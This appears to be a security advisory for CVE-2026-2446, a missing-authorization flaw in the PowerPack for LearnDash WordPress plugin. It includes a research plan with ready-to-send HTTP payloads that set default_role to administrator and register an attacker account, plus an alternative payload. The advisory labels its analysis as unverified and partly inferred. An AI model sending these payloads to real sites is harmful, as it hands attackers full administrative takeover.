CVE-2026-2446

Powerpack for LearnDash <= 1.2.0 - Unauthenticated Arbitrary Options Update

criticalMissing Authorization
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.3.0
Patched in
81d
Time to patch

Description

The PowerPack for LearnDash plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the [function-name] function in all versions up to, and including, 1.2.0. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.0
PublishedFebruary 13, 2026
Last updatedMay 4, 2026

What Changed in the Fix

Changes introduced in v1.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Analysis: CVE-2026-2446 - PowerPack for LearnDash Unauthenticated Arbitrary Options Update ## 1. Vulnerability Summary The **PowerPack for LearnDash** plugin (up to version 1.2.0) contains a critical vulnerability where the AJAX handler for saving class settings lacks both a capabil…

Show full research plan

Vulnerability Analysis: CVE-2026-2446 - PowerPack for LearnDash Unauthenticated Arbitrary Options Update

1. Vulnerability Summary

The PowerPack for LearnDash plugin (up to version 1.2.0) contains a critical vulnerability where the AJAX handler for saving class settings lacks both a capability check and nonce verification. This allows an unauthenticated attacker to trigger the update of arbitrary WordPress options by sending a crafted POST request to admin-ajax.php.

The vulnerability resides in the function associated with the AJAX action learndash_save_class_data_ajax. While the source code for the PHP handler itself was not provided, the client-side implementation in assets/js/admin/learndash-powerpack-custom-jquery-func.js and the vulnerability description confirm that user-supplied form data is processed and saved to the database without authorization.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: learndash_save_class_data_ajax
  • Parameters:
    • action: learndash_save_class_data_ajax
    • class_name: A string identifier for the setting group (e.g., LearnDash_PowerPack_Settings).
    • formData: An array of objects, where each object contains a name (the WordPress option key) and a value (the desired option value).
  • Authentication: None (Unauthenticated). The plugin likely registers the hook via wp_ajax_nopriv_learndash_save_class_data_ajax.
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to wp-admin/admin-ajax.php with the action learndash_save_class_data_ajax.
  2. AJAX Routing: WordPress routes the request to the handler registered by the plugin (inferred function name: learndash_save_class_data_ajax).
  3. Vulnerable Logic (Inferred):
    • The handler receives the formData array from $_POST.
    • The handler iterates through the elements of formData.
    • For each element, it extracts name and value.
    • The Sink: The handler calls update_option( $item['name'], $item['value'] ) without verifying if the user has manage_options capabilities or if a valid nonce was provided.
  4. Impact: The attacker can overwrite core WordPress settings, such as users_can_register and default_role.

4. Nonce Acquisition Strategy

Based on the provided source code in assets/js/admin/learndash-powerpack-custom-jquery-func.js:

  • The AJAX data object defined in the .learndash_save_form_data click handler does not include a nonce parameter.
  • The localization object learndash_powerpack_jquery_var (registered in class-learndash-powerpack-admin-assets.php) only contains ajax_url and ld_success_message.
  • Conclusion: The endpoint does not implement nonce verification. No nonce is required for exploitation.

5. Exploitation Strategy

Step 1: Enable Open Registration and Set Default Role to Admin

The goal is to allow anyone to register and ensure new users are granted the administrator role.

  • HTTP Request (Playwright/http_request):
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=learndash_save_class_data_ajax&class_name=LearnDash_PowerPack_General_Settings&formData[0][name]=users_can_register&formData[0][value]=1&formData[1][name]=default_role&formData[1][value]=administrator
    

Step 2: Register a New Account

Once the options are updated, the attacker can use the standard WordPress registration endpoint.

  • HTTP Request:
    POST /wp-login.php?action=register HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    user_login=attacker_admin&user_email=attacker@example.com&redirect_to=&wp-submit=Register
    

Step 3: Verify and Access

The attacker checks their email for the registration link (in a test environment, this can be bypassed or checked via WP-CLI) and logs in as a full administrator.

6. Test Data Setup

  1. Install and activate LearnDash LMS (dependency).
  2. Install and activate PowerPack for LearnDash version 1.2.0.
  3. Ensure users_can_register is initially 0 (default).
  4. Ensure default_role is initially subscriber (default).

7. Expected Results

  • The AJAX request should return a successful response (likely JSON containing {"success": "success"} or similar based on the JS logic).
  • The WordPress options users_can_register will be updated to 1.
  • The WordPress option default_role will be updated to administrator.

8. Verification Steps

After performing the HTTP exploit, use WP-CLI to verify the state change:

# Check if registration is enabled
wp option get users_can_register
# Expected: 1

# Check the default role
wp option get default_role
# Expected: administrator

# (Optional) Verify the new user role if registered in Step 2
wp user list --role=administrator

9. Alternative Approaches

If the formData structure is parsed differently by the plugin (e.g., if it expects a flat key-value pair instead of the serializeArray format), try a flattened payload:

  • Alternative Payload:
    action=learndash_save_class_data_ajax&class_name=LearnDash_PowerPack_General_Settings&users_can_register=1&default_role=administrator
    

If the plugin filters which options can be updated based on the class_name (unlikely given the "arbitrary options" description), identify valid class names using:

grep -r "class LearnDash_PowerPack_" .

And substitute the class_name parameter with one found (e.g., LearnDash_PowerPack_Course_Settings).

Research Findings
Static analysis — not yet PoC-verified

Summary

The PowerPack for LearnDash plugin for WordPress (up to version 1.2.0) is vulnerable to an unauthenticated arbitrary options update. The AJAX handler for saving settings lacks capability checks and nonce verification, allowing any user to modify WordPress configuration settings, such as enabling registration and setting the default role to administrator.

Vulnerable Code

/* assets/js/admin/learndash-powerpack-custom-jquery-func.js lines 92-106 */
        //ajax save classes data
        $(document.body).on(
            'click',
            // eslint-disable-next-line max-len
            '.learndash_save_form_data',
            function (e) {
                e.preventDefault();
                var current_element = $(this);
                var form = $('form.form_learndash_save_class_data');
                var formData = form.serializeArray();
                var data_class = $(this).attr('data-class');
                var data = {
                    'action': 'learndash_save_class_data_ajax',
                    'class_name': data_class,
                    'formData': formData,
                };

---

/* includes/admin_assets/class-learndash-powerpack-admin-assets.php lines 68-76 */
			wp_enqueue_script( 'learndash-powerpack-custom-jquery-func', LD_POWERPACK_PLUGIN_URL . '/assets/js/admin/learndash-powerpack-custom-jquery-func.js', [ 'jquery' ], time(), true );
			wp_localize_script(
				'learndash-powerpack-custom-jquery-func',
				'learndash_powerpack_jquery_var',
				[
					'ajax_url'           => admin_url( 'admin-ajax.php' ),
					'ld_success_message' => esc_html__( 'Data saved successfully.', 'learndash-powerpack' ),
				]
			);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.2.0/assets/js/admin/learndash-powerpack-custom-jquery-func.js /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.3.0/assets/js/admin/learndash-powerpack-custom-jquery-func.js
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.2.0/assets/js/admin/learndash-powerpack-custom-jquery-func.js	2021-05-01 20:07:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.3.0/assets/js/admin/learndash-powerpack-custom-jquery-func.js	2022-01-26 14:07:42.000000000 +0000
@@ -101,6 +113,7 @@
 					'action': 'learndash_save_class_data_ajax',
 					'class_name': dataClass,
 					'formData': formData,
+					'nonce': modalNonce,
 				};
 				$(current_element).closest('div.modal').find('.learndash-powerpack-modal-content').addClass('learndash_powerpack_ajax_loader_form');
 				$.post(learndash_powerpack_jquery_var.ajax_url, data, function (response) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.2.0/includes/admin_assets/class-learndash-powerpack-admin-assets.php /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.3.0/includes/admin_assets/class-learndash-powerpack-admin-assets.php
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.2.0/includes/admin_assets/class-learndash-powerpack-admin-assets.php	2021-05-16 15:49:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpack-for-learndash/1.3.0/includes/admin_assets/class-learndash-powerpack-admin-assets.php	2022-01-26 14:07:42.000000000 +0000
@@ -34,6 +34,7 @@
 			?>
-            <!-- The Modal -->
-            <div id="learndash-powerpack-modal" class="modal">
+			<!-- The Modal -->
+			<div id="learndash-powerpack-modal" class="modal">
+			<?php wp_nonce_field( 'learndash-powerpack-modal-nonce-' . get_current_user_id(), 'learndash-powerpack-modal-nonce' ); ?>
 				<!-- Modal content -->

Exploit Outline

The exploit targets the `/wp-admin/admin-ajax.php` endpoint using the `learndash_save_class_data_ajax` action. An attacker sends a POST request without authentication or nonces. The payload includes a `formData` array containing key-value pairs where the keys are WordPress option names (e.g., 'users_can_register', 'default_role') and the values are the desired settings (e.g., '1', 'administrator'). Once these options are updated, the attacker can use the standard WordPress registration endpoint (`/wp-login.php?action=register`) to create a new account with administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.